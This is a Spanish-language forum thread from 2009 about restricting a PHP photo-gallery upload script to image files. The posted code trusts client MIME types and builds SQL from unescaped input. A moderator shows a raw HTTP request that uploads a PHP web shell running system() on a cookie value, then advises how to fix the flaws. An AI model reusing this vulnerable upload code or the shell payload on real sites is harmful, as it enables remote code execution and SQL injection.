elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  galeria de fotos, comprobar tipo de imagen
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: galeria de fotos, comprobar tipo de imagen  (Leído 4,486 veces)
DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
galeria de fotos, comprobar tipo de imagen
« en: 21 Agosto 2009, 18:05 pm »

Tengo un problema con mi peque sistema,
mi sistema es uno para subir fotos,
solo quiero que suba solo fotos, por ejemplo jpg, gif

pero no se donde colocar el codigo de comprbar,


bueno es que el, se me ocurrio que que si suvia con el mismo nombre lo remplace por un numero mas, pero cuando subia con espacio o un caracter de simbolo eahi esta el error,

alguien saver como cambiar esto

porfavor es urgente,
Citar
<?php
include("config.php");
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
 echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}
?>


En línea

дٳŦ٭
GNU/Linux Infrastructure Specialist
Ex-Staff
*
Desconectado Desconectado

Mensajes: 5.110


Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #1 en: 21 Agosto 2009, 20:22 pm »

Citar
porfavor es urgente

 :-\ aquí no hacemos la tarea de nadie  ;D pero a ver.. te doy una pista, buscate info sobre $_FILES y sus atributos.. tiene la opción de detectar el mime del archivo. Suerte.


En línea

DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #2 en: 21 Agosto 2009, 23:17 pm »

hola man gracia pero si se eso me olvide de agregar.
   if ($userfile_type=="image/jpeg" || $userfile_type=="image/pjpeg" || $userfile_type=="image/gif" || $userfile_type=="image/bmp")
   {}


el problema es no se donde obicarlo esque cada vez que lo ubico me bota error de ubicacion de
}

lo locado en todas partepero sale error

En línea

Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #3 en: 21 Agosto 2009, 23:54 pm »

me parece mejor algo así:

Código
  1. $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
  2. ...
  3. if ( $archivo_size > $SIZE ) {
  4. echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
  5. echo " Ingrese de Nuevo su Aviso</CENTER></b>";
  6. }
  7. if(!in_array($userfile_type,$imagetypes)){
  8. echo "<b><CENTER>El Servidor acepta sólo imagenes";
  9. echo " Ingrese de Nuevo su Aviso</CENTER></b>";
  10. }

S2
En línea

DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #4 en: 22 Agosto 2009, 08:21 am »

Hola man Gracias por responder pero nada, ahora ndad puedo subir pucha, que hago
En línea

DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #5 en: 22 Agosto 2009, 16:55 pm »

amigo nda no se donde colocar ayudame porfavor yo etrataDO ASI pero nada
Citar
<?php
include("config.php");
//include("../../conex.php");

//$link=Conectarse();
//$random_number = $_POST['$random_number'];

$tipo_archivo = $HTTP_POST_FILES['archivo']['type'];

$tag=$_POST["tag"];

$SIZE="1000000";

$UPLOAD_DIR ="../userfotos/";

if (is_uploaded_file($archivo)) {

$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');


f ( $archivo_size > $SIZE ) {

echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";

echo " Ingrese de Nuevo su Aviso</CENTER></b>";

exit;

}



$nombreaponer=strtolower($archivo_name);

$alternativo="";

while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))

{

$alternativo++;

}



$nombreaponer=$alternativo.$nombreaponer;

copy($archivo,$UPLOAD_DIR.$nombreaponer);

unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

//$url_completa = "xddd";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";

echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
 echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}

?>


 nada  aqui te dejo el codigo de from
Citar
</label>

<label>

<textarea name="cuerpo" cols="50" rows="5" id="cuerpo"></textarea>

<br />
<br />

pdf<br />
</label>

<label>

<input name="archivo" type="file" id="archivo" />

<br />
<br />
<input name="pass_delete" type="hidden" value="<? echo $random_number;?>" />
<input name="quien" type="hidden" value="<? echo $quien;?>" />
<input name="fecha" type="hidden" value="<?=fecha() ?>" />



<br />
</label>

<label>

<input type="submit" name="Submit" value="guardar" />

</label>

</form>
En línea

Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #6 en: 22 Agosto 2009, 18:11 pm »

fijate si así te funciona:

Código
  1. <?php
  2.  
  3. include("config.php");
  4. //include("../../conex.php");
  5.  
  6. //$link=Conectarse();
  7. //$random_number = $_POST['$random_number'];
  8.  
  9. $archivo = $_FILES['archivo'];
  10. $tag=$_POST["tag"];
  11. $SIZE="1000000";
  12. $UPLOAD_DIR ="../userfotos/";
  13. $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
  14.  
  15. if (is_uploaded_file($archivo)) {
  16.  
  17. if ($archivo['size'] > $SIZE ) {
  18. echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
  19. echo " Ingrese de Nuevo su Archivo</CENTER></b>";
  20. }
  21.  
  22. if(!in_array($archivo['type'],$imagetypes)){
  23. echo "<b><CENTER>El Servidor acepta sólo imagenes";
  24. echo " Ingrese de Nuevo su Archivo</CENTER></b>";
  25. }
  26.  
  27. $nombreaponer=strtolower(ereg_replace("[^a-zA-Z0-9.]",'_',$archivo['name']));
  28. $alternativo=0;
  29. do{
  30. $nombreposible=$UPLOAD_DIR.($alternativo++).$nombreaponer;
  31. }while(file_exists($nombreposible));
  32. $nombreaponer=$nombreposible;
  33.  
  34. if(!move_uploaded_file($archivo['tmp_name'],$nombreaponer)){
  35. echo "<b><CENTER>Error: No se a podido subir la imagen...</CENTER></b>";
  36. }
  37.  
  38. $url_completa =$nombreaponer;
  39. $ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
  40.  
  41. echo "se agrego el archivo ";
  42. echo"<b>";
  43. echo"$nombreaponer";
  44. echo"<br>";
  45. echo"<p>el codigo de delete es</p>";
  46. echo"<b>";
  47. echo "$pass_delete";
  48. echo"<br>";
  49. echo"<b>";
  50. echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
  51. } else {
  52. echo "no se puedo agregar su archivo";
  53. }
  54.  
  55. ?>

S2
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #7 en: 24 Agosto 2009, 05:17 am »

con eso yo fácilmente podría subirle un php y hacer código de ejecución remota:

Citar
telnet web.com 80
POST /test.php HTTP/1.1
Host: web.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15890672924370
Content-Length: 251

-----------------------------15890672924370
Content-Disposition: form-data; name="archivo"; filename="shell.php"
Content-Type: image/png

<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?>

y si le pongo comillas al título y demás puedo causar una inyección sql.

Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.
En línea

Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #8 en: 24 Agosto 2009, 05:42 am »

con eso yo fácilmente podría subirle un php y hacer código de ejecución remota

si en realidad no se hablo de seguridad... un buen mecanismo sería comprobar la extensión final del archivo y eliminar extensiones duplicadas si existen... pero bueno... la idea del post no era esa...

S2
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #9 en: 24 Agosto 2009, 05:48 am »

Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Un virus para móviles bloquea la galería de fotos
Noticias
wolfbcn 0 1,325 Último mensaje 17 Marzo 2012, 02:21 am
por wolfbcn
Galeria de fotos simple con zoom
Desarrollo Web
Jnex 3 3,679 Último mensaje 23 Abril 2012, 16:28 pm
por EFEX
[SOLUCIONADO] ¿Como comprobar que imagen está usando un control?
.NET (C#, VB.NET, ASP)
Eleкtro 3 2,628 Último mensaje 24 Diciembre 2012, 18:14 pm
por $Edu$
[Ayuda] Galeria con efecto de cambiar imagen al pasar el mouse (javascript)
Desarrollo Web
Graphixx 1 3,053 Último mensaje 8 Enero 2013, 09:04 am
por EFEX
Meter galería fotos sencilla en web HTML5
Desarrollo Web
Morgan007 6 10,521 Último mensaje 11 Febrero 2013, 22:16 pm
por EFEX
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines